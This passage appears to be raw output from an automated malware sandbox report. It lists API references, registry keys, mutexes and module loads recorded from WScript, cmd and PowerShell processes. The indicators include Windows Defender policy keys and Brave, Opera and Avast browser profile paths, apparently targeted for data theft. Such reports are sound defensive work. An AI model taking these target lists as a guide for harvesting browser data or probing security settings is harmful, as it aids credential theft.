"GetFileSizeEx"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileExW"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp") Found reference to API (Indicator: "CryptExportKey"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp")3a:T1c82,"SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00005280.00000000.258219.236B3000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00005280.00000000.258219.236B3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00005280.00000000.258219.236B3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00005280.00000000.258219.236B3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00005280.00000000.258219.236B3000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00005280.00000000.258219.236B3000.00000002.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00005280.00000000.258219.A6F50000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0W" in Source: 00000000-00005280.00000000.258219.A6F50000.00000004.mdmp 00000000-00005280.00000001.260141.A6F50000.00000004.mdmp 00000000-00005280.00000002.262058.A6F50000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00005280.00000000.258219.A6F50000.00000004.mdmp 00000000-00005280.00000001.260141.A6F50000.00000004.mdmp 00000000-00005280.00000002.262058.A6F50000.00000004.mdmp "Software\Microsoft\Windows Defender\Features" in Source: 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp "Software\Microsoft\Windows Defender\MpEngine" in Source: 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp "Software\Microsoft\Microsoft Antimalware\MpEngine" in Source: 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005280.00000001.260141.A4C60000.00000004.mdmp 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005280.00000001.260141.A6F50000.00000004.mdmp 00000000-00005280.00000002.262058.A6F50000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "\REGISTRY\MACHINE\Software\WOW6432Node" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0c" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp 00000000-00005280.00000001.260141.BF9D0000.00000004.mdmp 00000000-00005280.00000002.262058.BF390000.00000004.mdmp 00000000-00005280.00000002.262058.BF9D0000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp 00000000-00005280.00000001.260141.BF9D0000.00000004.mdmp 00000000-00005280.00000001.260141.BFAE5000.00000004.mdmp 00000000-00005280.00000002.262058.BF390000.00000004.mdmp 00000000-00005280.00000002.262058.BFAE5000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp 00000000-00005280.00000001.260141.BF9D0000.00000004.mdmp "Win32Registry|System\CurrentControlSet\Services\Class\" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp 00000000-00005280.00000001.260141.BFAE5000.00000004.mdmp 00000000-00005280.00000002.262058.BF390000.00000004.mdmp 00000000-00005280.00000002.262058.BFAE5000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\ProductOptions|ProductSuite" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! ProductId" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! VersionNumber" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|RegisteredOwner" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|ProductId" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "Win32Registry|Software\Micros" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows\CurrentVersion|CurrentType" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\PriorityControl|Win32PrioritySeparation" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows\CurrentVersion|RegisteredOrganization" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00005280.00000001.260141.BF910000.00000004.mdmp "Opera Software\Opera Stable" in Source: 00000000-00005280.00000001.260141.BF910000.00000004.mdmp "Opera Software\Opera Neon\User Data" in Source: 00000000-00005280.00000001.260141.BF910000.00000004.mdmp "Opera Software\Opera Crypto Developer" in Source: 00000000-00005280.00000001.260141.BF910000.00000004.mdmp "Opera Software\Opera GX Stable" in Source: 00000000-00005280.00000001.260141.BF910000.00000004.mdmp "AVAST Software\Browser\User Data" in Source: 00000000-00005280.00000001.260141.BF910000.00000004.mdmp3b:T84c,Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:5700:304:WilStaging_02" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5700:120:WilError_03" Process WScript.exe created mutex with name "Local\SM0:5700:304:WilStaging_02" Process WScript.exe created mutex with name "SM0:5700:120:WilError_03" Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:524:304:WilStaging_02" Process cmd.exe created mutex with name "Local\SM0:524:304:WilStaging_02" Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:8436:304:WilStaging_02" Process cmd.exe created mutex with name "Local\SM0:8436:304:WilStaging_02" Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:3800:304:WilStaging_02" Process cmd.exe created mutex with name "Local\SM0:3800:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:5280:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5280:120:WilError_03" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:5280:120:WilError_03" Process powershell.exe created mutex with name "D43PRY2TZX7ST4O73OZU" Process powershell.exe created mutex with name "Local\SM0:5280:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:5280:120:WilError_03" Process powershell.exe created mutex with name "Local\SM0:5280:120:WilError_03" Process powershell.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "\BaseNamedObjects\RasPbFile" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\D43PRY2TZX7ST4O73OZU"3c:Tfdb,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\urlmon.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\webengine4.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\msvcrt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135]3d:T2fc2,"SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00005280.00000000.258219.236B3000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00005280.00000000.258219.236B3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00005280.00000000.258219.236B3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00005280.00000000.258219.236B3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00005280.00000000.258219.236B3000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00005280.00000000.258219.236B3000.00000002.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00005280.00000000.258219.A6F50000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0W" in Source: 00000000-00005280.00000000.258219.A6F50000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00005280.00000000.258219.A6F50000.00000004.mdmp "Software\Microsoft\Windows Defender\Features" in Source: 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp "Software\Microsoft\Windows Defender\MpEngine" in Source: 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp "Software\Microsoft\Microsoft Antimalware\MpEngine" in Source: 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005280.00000001.260141.A4C60000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0W" in Source: 00000000-00005280.00000001.260141.A6F50000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00005280.00000001.260141.A6F50000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005280.00000001.260141.A6F50000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp "Win32Registry|System\CurrentControlSet\Services\Class\" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\ProductOptions|ProductSuite" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! ProductId" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! VersionNumber" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|RegisteredOwner" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|ProductId" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp "Win32Registry|Software\Micros" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows\CurrentVersion|CurrentType" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\PriorityControl|Win32PrioritySeparation" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows\CurrentVersion|RegisteredOrganization" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp "\REGISTRY\MACHINE\Software\WOW6432Node" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0c" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp "BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00005280.00000001.260141.BF910000.00000004.mdmp "Opera Software\Opera Stable" in Source: 00000000-00005280.00000001.260141.BF910000.00000004.mdmp "Opera Software\Opera Neon\User Data" in Source: 00000000-00005280.00000001.260141.BF910000.00000004.mdmp "Opera Software\Opera Crypto Developer" in Source: 00000000-00005280.00000001.260141.BF910000.00000004.mdmp "Opera Software\Opera GX Stable" in Source: 00000000-00005280.00000001.260141.BF910000.00000004.mdmp "AVAST Software\Browser\User Data" in Source: 00000000-00005280.00000001.260141.BF910000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000" in Source: 00000000-00005280.00000001.260141.BF9D0000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\" in Source: 00000000-00005280.00000001.260141.BF9D0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00005280.00000001.260141.BF9D0000.00000004.mdmp "Win32Registry|System\CurrentControlSet\Services\Class\" in Source: 00000000-00005280.00000001.260141.BFAE5000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000" in Source: 00000000-00005280.00000001.260141.BFAE5000.00000004.mdmp "\Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00005280.00000001.260141.BFAE5000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00005280.00000001.260141.BFAE5000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00005280.00000001.260141.BFAE5000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\POLICY MANAGER" in Source: 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER" in Source: 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp "Software\Microsoft\Windows Defender\MpEngine" in Source: 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp "Software\Microsoft\Windows Defender\Features" in Source: 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp "Software\Microsoft\Microsoft Antimalware\MpEngine" in Source: 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp "HKLM\" in Source: 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp "Software\Microsoft\RemovalTools\MRT" in Source: 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0W" in Source: 00000000-00005280.00000002.262058.A6F50000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00005280.00000002.262058.A6F50000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005280.00000002.262058.A6F50000.00000004.mdmp "Win32Registry|System\CurrentControlSet\Services\Class\" in Source: 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000" in Source: 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|RegisteredOwner" in Source: 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|ProductId" in Source: 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows\CurrentVersion|CurrentType" in Source: 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\PriorityControl|Win32PrioritySeparation" in Source: 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows\CurrentVersion|RegisteredOrganization" in Source: 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\ProductOptions|ProductSuite" in Source: 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! ProductId" in Source: 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! VersionNumber" in Source: 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\C" in Source: 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "32Registry|SYSTEM\CurrentControlSet\Control\Class\{4D36E" in Source: 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "\REGISTRY\MACHINE\Software\WOW6432Node" in Source: 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0c" in Source: 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0r" in Source: 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00005280.00000002.262058.BF390000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00005280.00000002.262058.BF9D0000.00000004.mdmp "Win32Registry|System\CurrentControlSet\Services\Class\" in Source: 00000000-00005280.00000002.262058.BFAE5000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000" in Source: 00000000-00005280.00000002.262058.BFAE5000.00000004.mdmp "chine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00005280.00000002.262058.BFAE5000.00000004.mdmp3e:T47dd,"WScript.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffe24f90000 "WScript.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffe24f90000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffe24f90000 "WScript.exe" loaded module "KERNEL32" at base 7ffe261b0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffe222c0000 "WScript.exe" loaded module "RPCRT4.DLL" at base 7ffe26e30000 "WScript.exe" loaded module "KERNEL32.DLL" at base 7ffe261b0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\VBSCRIPT.DLL" at base 7ffdf7090000 "WScript.exe" loaded module "AMSI.DLL" at base 7ffe17960000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffe18eb0000 "WScript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPOAV.DLL" at base 7ffe16f80000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\FG139Z2V.DLL" at base 7ffdf9030000 "WScript.exe" loaded module "WLDP.DLL" at base 7ffe24480000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ffe26100000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffe23c50000 "WScript.exe" loaded module 